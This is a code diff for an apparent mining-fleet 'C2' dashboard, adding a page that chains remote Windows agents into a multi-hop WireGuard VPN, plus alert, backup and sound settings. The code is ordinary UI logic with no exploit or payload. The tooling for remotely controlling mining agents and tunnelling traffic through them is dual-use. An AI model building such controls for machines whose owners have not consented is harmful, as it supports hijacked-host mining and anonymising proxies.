flex-shrink: 0;
}
.pt-chain-hop-name {
font-size: 0.72rem;
color: #ccc;
font-family: var(--font-tech, monospace);
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
.pt-chain-arrow {
font-size: 0.65rem;
color: #00ffaa55;
padding-left: 10px;
}
/* Status badges */
.pt-hop-status {
font-size: 0.6rem;
font-family: var(--font-tech, monospace);
padding: 1px 5px;
border-radius: 3px;
text-transform: uppercase;
letter-spacing: 0.08em;
flex-shrink: 0;
margin-left: auto;
}
.pt-hop-status.pending { background: rgba(255,200,0,0.15); color: #ffc800; border: 1px solid #ffc80033; }
.pt-hop-status.ready { background: rgba(0,255,170,0.15); color: #00ffaa; border: 1px solid #00ffaa33; }
.pt-hop-status.failed { background: rgba(255,80,80,0.15); color: #ff5050; border: 1px solid #ff505033; }
/* ── Action buttons ──────────────────────────────────────────── */
.pt-btn {
padding: 0.55rem 1.1rem;
border-radius: 6px;
font-size: 0.75rem;
font-family: var(--font-tech, monospace);
font-weight: 700;
letter-spacing: 0.1em;
text-transform: uppercase;
cursor: pointer;
transition: all 0.15s ease;
border: 1px solid transparent;
}
.pt-btn-primary {
background: linear-gradient(135deg, #00ffaa22, #00ffaa11);
border-color: #00ffaa;
color: #00ffaa;
text-shadow: 0 0 8px #00ffaa;
}
.pt-btn-primary:hover:not(:disabled) {
background: linear-gradient(135deg, #00ffaa44, #00ffaa22);
box-shadow: 0 0 14px #00ffaa44;
}
.pt-btn-primary:disabled {
opacity: 0.35;
cursor: not-allowed;
}
.pt-btn-danger {
background: rgba(255,80,80,0.1);
border-color: #ff5050;
color: #ff5050;
}
.pt-btn-danger:hover {
background: rgba(255,80,80,0.2);
}
.pt-btn-ghost {
background: transparent;
border-color: #444;
color: #888;
}
.pt-btn-ghost:hover {
border-color: #666;
color: #aaa;
}
.pt-actions {
display: flex;
gap: 0.5rem;
flex-wrap: wrap;
}
/* ── Error / status banner ───────────────────────────────────── */
.pt-error-banner {
background: rgba(255, 80, 80, 0.1);
border: 1px solid rgba(255,80,80,0.3);
border-radius: 6px;
padding: 0.6rem 0.9rem;
font-size: 0.72rem;
color: #ff5050;
font-family: var(--font-tech, monospace);
}
.pt-info-banner {
background: rgba(0, 200, 255, 0.07);
border: 1px solid rgba(0, 200, 255, 0.2);
border-radius: 6px;
padding: 0.6rem 0.9rem;
font-size: 0.72rem;
color: #00c8ff;
font-family: var(--font-tech, monospace);
}
/* ── QR Modal ────────────────────────────────────────────────── */
.pt-modal-backdrop {
position: fixed;
inset: 0;
background: rgba(0, 0, 0, 0.75);
backdrop-filter: blur(4px);
display: flex;
align-items: center;
justify-content: center;
z-index: 2000;
}
.pt-modal {
background: #0e1117;
border: 1px solid #00ffaa44;
border-radius: 14px;
box-shadow: 0 0 60px #00ffaa22;
padding: 2rem;
max-width: 520px;
width: 100%;
display: flex;
flex-direction: column;
gap: 1.2rem;
animation: pt-modal-in 0.2s ease;
}
@keyframes pt-modal-in {
from { opacity: 0; transform: scale(0.92) translateY(20px); }
to { opacity: 1; transform: scale(1) translateY(0); }
}
.pt-modal-title {
font-size: 1.1rem;
font-weight: 700;
letter-spacing: 0.12em;
text-transform: uppercase;
color: #00ffaa;
font-family: var(--font-tech, monospace);
text-shadow: 0 0 12px #00ffaa66;
}
.pt-qr-wrap {
display: flex;
justify-content: center;
padding: 0.5rem;
background: #000;
border-radius: 10px;
border: 1px solid #00ffaa33;
}
.pt-qr-img {
width: 260px;
height: 260px;
image-rendering: pixelated;
}
.pt-config-box {
background: rgba(0,0,0,0.5);
border: 1px solid #333;
border-radius: 6px;
padding: 0.75rem;
font-size: 0.65rem;
font-family: monospace;
color: #aaa;
white-space: pre;
max-height: 180px;
overflow: auto;
}
.pt-modal-actions {
display: flex;
gap: 0.6rem;
flex-wrap: wrap;
}
.pt-hint {
font-size: 0.65rem;
color: #555;
font-family: var(--font-tech, monospace);
text-align: center;
line-height: 1.5;
}
/* ── Section label ───────────────────────────────────────────── */
.pt-section-label {
font-size: 0.62rem;
letter-spacing: 0.14em;
text-transform: uppercase;
color: #00ffaa55;
font-family: var(--font-tech, monospace);
margin-bottom: 0.4rem;
}
.pt-section-panel {
background: rgba(0,0,0,0.25);
border: 1px solid rgba(0,255,170,0.08);
border-radius: 10px;
padding: 1rem;
}
/* Spinner */
.pt-spinner {
display: inline-block;
width: 14px;
height: 14px;
border: 2px solid #00ffaa33;
border-top-color: #00ffaa;
border-radius: 50%;
animation: pt-spin 0.6s linear infinite;
vertical-align: middle;
margin-right: 6px;
}
@keyframes pt-spin { to { transform: rotate(360deg); } }
@media (max-width: 768px) {
.pt-page {
padding: 0;
}
.pt-chain {
flex-direction: column;
align-items: stretch;
}
.pt-hop-card {
max-width: 100%;
}
.pt-modal-backdrop {
align-items: flex-end;
padding: 0.5rem;
}
.pt-modal {
max-width: 100%;
margin: 0;
border-radius: 14px 14px 0 0;
max-height: 90dvh;
overflow-y: auto;
}
.pt-qr-wrap img {
max-width: min(280px, 100%);
height: auto;
}
}

View File

@@ -0,0 +1,385 @@
import { useCallback, useEffect, useRef, useState } from 'react';
import { api } from '../api/client';
import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, PathTraceHop } from '../types';
import './PathTracerPage.css';
// ── types ─────────────────────────────────────────────────────────────────────
interface TraceStatus {
session_id: string;
ready: boolean;
error?: string;
hops: PathTraceHop[];
}
interface QRData {
config: string;
qr_png_b64: string;
}
// ── helpers ───────────────────────────────────────────────────────────────────
function HopStatusBadge({ status }: { status: PathTraceHop['status'] }) {
return <span className={`pt-hop-status ${status}`}>{status}</span>;
}
// ── QR Modal ──────────────────────────────────────────────────────────────────
function QRModal({
qr,
onClose,
onEnd,
}: {
qr: QRData;
onClose: () => void;
onEnd: () => void;
}) {
const [copied, setCopied] = useState(false);
const handleCopy = () => {
navigator.clipboard.writeText(qr.config).then(() => {
setCopied(true);
setTimeout(() => setCopied(false), 1500);
});
};
const handleDownload = () => {
const blob = new Blob([qr.config], { type: 'text/plain' });
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = 'pathtrace.conf';
a.click();
URL.revokeObjectURL(url);
};
return (
<div className="pt-modal-backdrop" onClick={(e) => e.target === e.currentTarget && onClose()}>
<div className="pt-modal">
<div className="pt-modal-title"> PATH TRACE ACTIVE</div>
<div className="pt-qr-wrap">
<img
className="pt-qr-img"
src={`data:image/png;base64,${qr.qr_png_b64}`}
alt="WireGuard QR"
/>
</div>
<p className="pt-hint">
Scan with the <strong>WireGuard</strong> app on your phone,<br />
or download the .conf file and import it.
</p>
<pre className="pt-config-box">{qr.config}</pre>
<div className="pt-modal-actions">
<button className="pt-btn pt-btn-primary" onClick={handleCopy}>
{copied ? '✓ Copied' : 'Copy Config'}
</button>
<button className="pt-btn pt-btn-ghost" onClick={handleDownload}>
Download .conf
</button>
<button
className="pt-btn pt-btn-danger"
onClick={() => { onEnd(); onClose(); }}
style={{ marginLeft: 'auto' }}
>
End Session
</button>
</div>
</div>
</div>
);
}
// ── main component ────────────────────────────────────────────────────────────
export default function PathTracerPage() {
const { agents: wsAgents } = useWebSocket();
const [restAgents, setRestAgents] = useState<Agent[]>([]);
const [selected, setSelected] = useState<string[]>([]); // ordered chain
const [loading, setLoading] = useState(false);
const [error, setError] = useState('');
const [sessionID, setSessionID] = useState('');
const [hops, setHops] = useState<PathTraceHop[]>([]);
const [tracing, setTracing] = useState(false);
const [qr, setQR] = useState<QRData | null>(null);
const [showQR, setShowQR] = useState(false);
const pollRef = useRef<ReturnType<typeof setInterval> | null>(null);
// Use WebSocket agents; fall back to REST on mount if WebSocket hasn't populated yet.
const agents = wsAgents.length > 0 ? wsAgents : restAgents;
useEffect(() => {
api.listAgents().then(setRestAgents).catch(() => {});
}, []);
// Stop polling on unmount.
useEffect(() => () => { if (pollRef.current) clearInterval(pollRef.current); }, []);
const toggleAgent = (id: string, offline: boolean) => {
if (offline) return;
if (tracing) return; // don't let selection change while tracing
setSelected((prev) => {
if (prev.includes(id)) return prev.filter((x) => x !== id);
if (prev.length >= 3) return prev; // max 3 hops
return [...prev, id];
});
};
const handleTrace = useCallback(async () => {
if (selected.length === 0) return;
setError('');
setLoading(true);
setTracing(true);
setHops([]);
setQR(null);
try {
const res = await api.startTrace(selected);
setSessionID(res.session_id);
setHops(res.hops);
startPolling(res.session_id);
} catch (e: unknown) {
setError(e instanceof Error ? e.message : 'Trace failed');
setTracing(false);
} finally {
setLoading(false);
}
}, [selected]);
const startPolling = (sid: string) => {
if (pollRef.current) clearInterval(pollRef.current);
pollRef.current = setInterval(async () => {
try {
const status: TraceStatus = await api.getTraceStatus(sid);
setHops(status.hops);
if (status.error) {
setError(status.error);
clearInterval(pollRef.current!);
pollRef.current = null;
setTracing(false);
return;
}
if (status.ready) {
clearInterval(pollRef.current!);
pollRef.current = null;
// Fetch QR.
const qrData = await api.getTraceQR(sid);
setQR(qrData);
setShowQR(true);
}
} catch {
// Ignore transient errors
}
}, 2000);
};
const handleEndSession = useCallback(async () => {
if (!sessionID) return;
try {
await api.deleteTrace(sessionID);
} catch {
// best-effort
}
if (pollRef.current) { clearInterval(pollRef.current); pollRef.current = null; }
setSessionID('');
setHops([]);
setTracing(false);
setQR(null);
setSelected([]);
setError('');
}, [sessionID]);
const isWindows = (a: Agent) =>
!!(a.platform?.toLowerCase().includes('win') || a.platform?.toLowerCase().includes('windows'));
const onlineAgents = agents.filter((a) => a.status === 'online');
const offlineAgents = agents.filter((a) => a.status !== 'online');
const allHopsReady = hops.length > 0 && hops.every((h) => h.status === 'ready');
return (
<div className="pathtrace-page">
{/* Header */}
<div className="pt-header">
<div>
<div className="pt-title"> Path Tracer</div>
<div className="pt-subtitle">
Build an on-demand multi-hop WireGuard VPN select up to 3 agents, click TRACE.
</div>
</div>
</div>
{error && <div className="pt-error-banner"> {error}</div>}
{tracing && !allHopsReady && !error && (
<div className="pt-info-banner">
<span className="pt-spinner" />
Orchestrating tunnel waiting for agents to configure WireGuard&hellip;
</div>
)}
<div className="pt-body">
{/* Left: agent selection */}
<div>
<div className="pt-section-label">
Online agents &mdash; click to add to chain (max 3)
</div>
<div className="pt-section-panel">
{onlineAgents.length === 0 && (
<div className="pt-chain-empty">No online agents found.</div>
)}
<div className="pt-agent-grid">
{onlineAgents.map((a) => {
const idx = selected.indexOf(a.id);
const isSelected = idx >= 0;
const winOnly = isWindows(a);
return (
<div
key={a.id}
className={`pt-agent-card${isSelected ? ' selected' : ''}`}
onClick={() => winOnly ? toggleAgent(a.id, false) : undefined}
title={!winOnly ? 'WireGuard Path Tracer requires a Windows agent' : undefined}
style={!winOnly ? { opacity: 0.5, cursor: 'not-allowed' } : undefined}
>
{isSelected && (
<span className="pt-agent-card-order">{idx + 1}</span>
)}
<div className="pt-agent-name">
<span className="pt-agent-status-dot online" />
{a.name}
</div>
<div className="pt-agent-ip">{a.ip || '—'}</div>
{!winOnly && (
<div style={{ fontSize: '0.6rem', color: '#ff8800', fontFamily: 'monospace', marginTop: '0.15rem' }}>
non-Windows
</div>
)}
</div>
);
})}
{offlineAgents.map((a) => (
<div key={a.id} className="pt-agent-card offline">
<div className="pt-agent-name">
<span className="pt-agent-status-dot offline" />
{a.name}
</div>
<div className="pt-agent-ip">offline</div>
</div>
))}
</div>
</div>
</div>
{/* Right: chain + controls */}
<div className="pt-sidebar">
{/* Chain visualizer */}
<div className="pt-chain-panel">
<div className="pt-chain-title">VPN Chain</div>
{selected.length === 0 ? (
<div className="pt-chain-empty">No hops selected yet.</div>
) : (
<div className="pt-chain-row">
{/* Phone icon */}
<div className="pt-chain-hop" style={{ marginBottom: '0.15rem' }}>
<span style={{ fontSize: '0.7rem', color: '#888', fontFamily: 'monospace' }}>
📱 Your Phone
</span>
</div>
{selected.map((id, i) => {
const agent = agents.find((a) => a.id === id);
const hop = hops.find((h) => h.agent_id === id);
return (
<div key={id}>
<div className="pt-chain-arrow"></div>
<div className="pt-chain-hop">
<div className="pt-chain-hop-badge">{i + 1}</div>
<span className="pt-chain-hop-name">
{agent?.name ?? id.slice(0, 8)}
</span>
{hop && <HopStatusBadge status={hop.status} />}
</div>
{hop?.external_ip && (
<div style={{ fontSize: '0.6rem', color: '#00ffaa66', paddingLeft: '30px', fontFamily: 'monospace' }}>
{hop.external_ip}:{hop.port}
</div>
)}
{hop?.error && (
<div style={{ fontSize: '0.6rem', color: '#ff5050', paddingLeft: '30px', fontFamily: 'monospace' }}>
{hop.error}
</div>
)}
</div>
);
})}
<div className="pt-chain-arrow"></div>
<div className="pt-chain-hop">
<span style={{ fontSize: '0.7rem', color: '#888', fontFamily: 'monospace' }}>
🌐 Internet
</span>
</div>
</div>
)}
</div>
{/* Controls */}
<div className="pt-actions">
{!tracing && (
<button
className="pt-btn pt-btn-primary"
disabled={selected.length === 0 || loading}
onClick={handleTrace}
>
{loading ? <><span className="pt-spinner" />Building</> : '⬡ TRACE'}
</button>
)}
{tracing && allHopsReady && qr && (
<button className="pt-btn pt-btn-primary" onClick={() => setShowQR(true)}>
Show QR Code
</button>
)}
{tracing && (
<button className="pt-btn pt-btn-danger" onClick={handleEndSession}>
End Session
</button>
)}
{!tracing && selected.length > 0 && (
<button className="pt-btn pt-btn-ghost" onClick={() => setSelected([])}>
Clear
</button>
)}
</div>
{/* Max hop hint */}
{selected.length >= 3 && !tracing && (
<div className="pt-hint">Max 3 hops reached.</div>
)}
{allHopsReady && (
<div className="pt-info-banner">
All hops ready tunnel is active.
</div>
)}
</div>
</div>
{/* QR Modal */}
{showQR && qr && (
<QRModal
qr={qr}
onClose={() => setShowQR(false)}
onEnd={handleEndSession}
/>
)}
</div>
);
}

View File

@@ -5,12 +5,17 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import { cleanup, render, screen, waitFor, within } from '@testing-library/react';
import userEvent from '@testing-library/user-event';
import SettingsPage, { deepMerge } from './SettingsPage';
import { SoundProvider } from '../context/SoundContext';
import { mockServerConfig, mockServerInfo } from '../test/fixtures';
import { api } from '../api/client';
import { clearStoredAuth, getStoredAuth, setStoredAuth } from '../api/auth';
function renderSettings() {
return render(<SettingsPage />);
return render(
<SoundProvider>
<SettingsPage />
</SoundProvider>
);
}
describe('deepMerge', () => {

View File

@@ -16,6 +16,8 @@ import PoolPresetPicker from '../components/PoolPresetPicker';
import RVNPoolPresetPicker from '../components/RVNPoolPresetPicker';
import type { BackupPool } from '../types';
import NeonCard from '../components/NeonCard/NeonCard';
import { useSound } from '../context/SoundContext';
import { useVisualEffects } from '../context/VisualEffectsContext';
import './Pages.css';
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
@@ -42,6 +44,8 @@ export function deepMerge<T extends object>(base: T, override: Partial<T>): T {
}
export default function SettingsPage() {
const { enabled: sfxEnabled, volume: sfxVolume, setEnabled: setSfxEnabled, setVolume: setSfxVolume, preview: previewSfx } = useSound();
const { glowParticles, setGlowParticles } = useVisualEffects();
const [config, setConfig] = useState<ServerConfig | null>(null);
const [serverInfo, setServerInfo] = useState<{ suggested_url: string; local_ips: string[] } | null>(null);
const [loading, setLoading] = useState(true);
@@ -54,6 +58,10 @@ export default function SettingsPage() {
const [userMsg, setUserMsg] = useState('');
const [rotatingSecret, setRotatingSecret] = useState(false);
const [rotateMsg, setRotateMsg] = useState('');
const [backingUp, setBackingUp] = useState(false);
const [backupMsg, setBackupMsg] = useState('');
const [testingAlerts, setTestingAlerts] = useState(false);
const [alertTestMsg, setAlertTestMsg] = useState('');
const fileInputRef = useRef<HTMLInputElement>(null);
useEffect(() => {
@@ -69,6 +77,15 @@ export default function SettingsPage() {
password: 'x',
backup_pools: [],
},
alerts: {
...cfg.alerts,
notify_agent_connect: cfg.alerts?.notify_agent_connect ?? true,
notify_agent_reconnect: cfg.alerts?.notify_agent_reconnect ?? true,
notify_agent_offline: cfg.alerts?.notify_agent_offline ?? true,
notify_hashrate_drop: cfg.alerts?.notify_hashrate_drop ?? true,
notify_rejection_rate: cfg.alerts?.notify_rejection_rate ?? true,
notify_build_complete: cfg.alerts?.notify_build_complete ?? true,
},
server: {
public_url: cfg.server?.public_url ?? '',
stats_retention_hours: cfg.server?.stats_retention_hours ?? 168,
@@ -145,6 +162,20 @@ export default function SettingsPage() {
URL.revokeObjectURL(url);
};
const handleFullBackup = async () => {
setBackingUp(true);
setBackupMsg('');
try {
await api.downloadBackup();
setBackupMsg('Backup downloaded.');
setTimeout(() => setBackupMsg(''), 4000);
} catch (e: unknown) {
setBackupMsg('Backup failed: ' + (e instanceof Error ? e.message : String(e)));
} finally {
setBackingUp(false);
}
};
const handleImportConfig = () => fileInputRef.current?.click();
const handleFileSelected = (e: React.ChangeEvent<HTMLInputElement>) => {
@@ -181,6 +212,36 @@ export default function SettingsPage() {
setTimeout(() => setUserMsg(''), 3000);
};
const handleTestAlerts = async () => {
if (!config) return;
setTestingAlerts(true);
setAlertTestMsg('');
try {
if (!config.alerts.telegram_bot_token?.trim() && !config.alerts.email_enabled) {
setAlertTestMsg('Enter Telegram token + chat ID (or enable SMTP) first.');
return;
}
await api.updateConfig(config);
const result = await api.testAlerts();
const parts: string[] = [];
const tg = result.telegram;
if (tg) {
parts.push(tg.sent ? '✓ Telegram delivered' : `✕ Telegram: ${tg.error || 'failed'}`);
}
const smtp = result.smtp;
if (smtp) {
parts.push(smtp.sent ? '✓ Email delivered' : `✕ Email: ${smtp.error || 'failed'}`);
}
setAlertTestMsg(parts.join(' · ') || 'No channels configured.');
if (tg?.sent || smtp?.sent) previewSfx('success');
} catch (e: unknown) {
setAlertTestMsg('Test failed: ' + (e instanceof Error ? e.message : String(e)));
} finally {
setTestingAlerts(false);
setTimeout(() => setAlertTestMsg(''), 12000);
}
};
const handleRotateSecret = async () => {
if (!window.confirm(
'Rotate fleet secret?\n\n' +
@@ -278,7 +339,18 @@ export default function SettingsPage() {
</button>
<button className="btn btn-outline" onClick={handleExportConfig}>Export</button>
<button className="btn btn-outline" onClick={handleImportConfig}>Import</button>
<button
className="btn btn-outline"
onClick={handleFullBackup}
disabled={backingUp}
title="Downloads config, agent DB, and credentials."
>
{backingUp ? 'Backing up…' : 'Full Deck Backup'}
</button>
</div>
{backupMsg && (
<div className={`save-message ${backupMsg.includes('failed') ? 'error' : 'success'}`}>{backupMsg}</div>
)}
</header>
{saveMessage && (
@@ -333,6 +405,86 @@ export default function SettingsPage() {
)}
<div className="settings-grid">
<NeonCard accent="cyan" className="settings-section">
<h2 className="font-display">Deck Atmosphere</h2>
<p className="section-desc">
Background glow particles and sparkles sit behind the UI (pointer-events off). Turn off on
low-power devices if you want a calmer deck.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={glowParticles}
onChange={(e) => setGlowParticles(e.target.checked)}
/>
<span>Glow particles &amp; sparkles</span>
</label>
</div>
</NeonCard>
<NeonCard accent="green" className="settings-section">
<h2 className="font-display">Sound &amp; Haptics</h2>
<p className="section-desc">
Short UI bleeps and vibration on supported phones/tablets. Browsers require a click anywhere
on the deck first to unlock audio. Fleet events (agents, shares, alerts) use separate cues.
</p>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input
type="checkbox"
className="checkbox"
checked={sfxEnabled}
onChange={(e) => setSfxEnabled(e.target.checked)}
/>
<span>Enable sound effects &amp; haptic vibration</span>
</label>
</div>
<div className="form-group">
<label htmlFor="cfg-sfx-volume" className="label">
Volume ({Math.round(sfxVolume * 100)}%)
</label>
<input
id="cfg-sfx-volume"
type="range"
className="input"
min={0}
max={100}
step={5}
value={Math.round(sfxVolume * 100)}
disabled={!sfxEnabled}
onChange={(e) => setSfxVolume(parseInt(e.target.value, 10) / 100)}
/>
</div>
<div className="form-row" style={{ gap: '0.5rem', flexWrap: 'wrap' }}>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={!sfxEnabled}
onClick={() => previewSfx('click')}
>
Preview click
</button>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={!sfxEnabled}
onClick={() => previewSfx('alert')}
>
Preview alert
</button>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={!sfxEnabled}
onClick={() => previewSfx('share')}
>
Preview share
</button>
</div>
</NeonCard>
<NeonCard accent="brass" className="settings-section">
<h2 className="font-display">Control Server</h2>
<p className="section-desc">How this dashboard and API are hosted on your network.</p>
@@ -527,7 +679,9 @@ export default function SettingsPage() {
<NeonCard accent="amber" className="settings-section">
<h2 className="font-display">Alert Notifications</h2>
<p className="section-desc">Telegram and email when fleet thresholds fire (offline, hashrate crash, rejection spike).</p>
<p className="section-desc">
Telegram (and optional email) for fleet events. Set bot token + chat ID, choose what to send, then save.
</p>
<div className="form-row">
<div className="form-group">
<label htmlFor="cfg-tg-token" className="label">Telegram Bot Token</label>
@@ -537,9 +691,68 @@ export default function SettingsPage() {
<div className="form-group">
<label htmlFor="cfg-tg-chat" className="label">Telegram Chat ID</label>
<input id="cfg-tg-chat" type="text" className="input mono" value={config.alerts.telegram_chat_id || ''}
onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="-100…" />
onChange={(e) => updateField('alerts.telegram_chat_id', e.target.value)} placeholder="123456789" />
</div>
</div>
<p className="section-desc" style={{ marginTop: '-0.5rem' }}>
Open your bot in Telegram, send any message (e.g. <code>/start</code>), then use{' '}
<a href="https://t.me/userinfobot" target="_blank" rel="noreferrer">@userinfobot</a> to copy your numeric ID,
or read it from <code>getUpdates</code> on the Bot API. Save Calibrate, then test.
</p>
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap', marginBottom: '0.75rem' }}>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={testingAlerts}
onClick={handleTestAlerts}
>
{testingAlerts ? 'Sending…' : 'Send test notification'}
</button>
{alertTestMsg && <span className="mono" style={{ fontSize: '0.85rem', color: '#9ee0ff' }}>{alertTestMsg}</span>}
</div>
<h3 className="font-display" style={{ fontSize: '1rem', margin: '1rem 0 0.5rem' }}>Notify me when</h3>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_agent_connect !== false}
onChange={(e) => updateField('alerts.notify_agent_connect', e.target.checked)} />
<span>New agent connects to C2 (first time seen)</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_agent_reconnect !== false}
onChange={(e) => updateField('alerts.notify_agent_reconnect', e.target.checked)} />
<span>Agent reconnects (back online or session takeover)</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_agent_offline !== false}
onChange={(e) => updateField('alerts.notify_agent_offline', e.target.checked)} />
<span>Agent offline past threshold</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_hashrate_drop !== false}
onChange={(e) => updateField('alerts.notify_hashrate_drop', e.target.checked)} />
<span>Hashrate drops below threshold</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_rejection_rate !== false}
onChange={(e) => updateField('alerts.notify_rejection_rate', e.target.checked)} />
<span>Share rejection rate spikes</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={config.alerts.notify_build_complete !== false}
onChange={(e) => updateField('alerts.notify_build_complete', e.target.checked)} />
<span>Forge completes successfully</span>
</label>
</div>
<div className="form-group checkbox-group">
<label className="checkbox-label">
<input type="checkbox" className="checkbox" checked={!!config.alerts.email_enabled}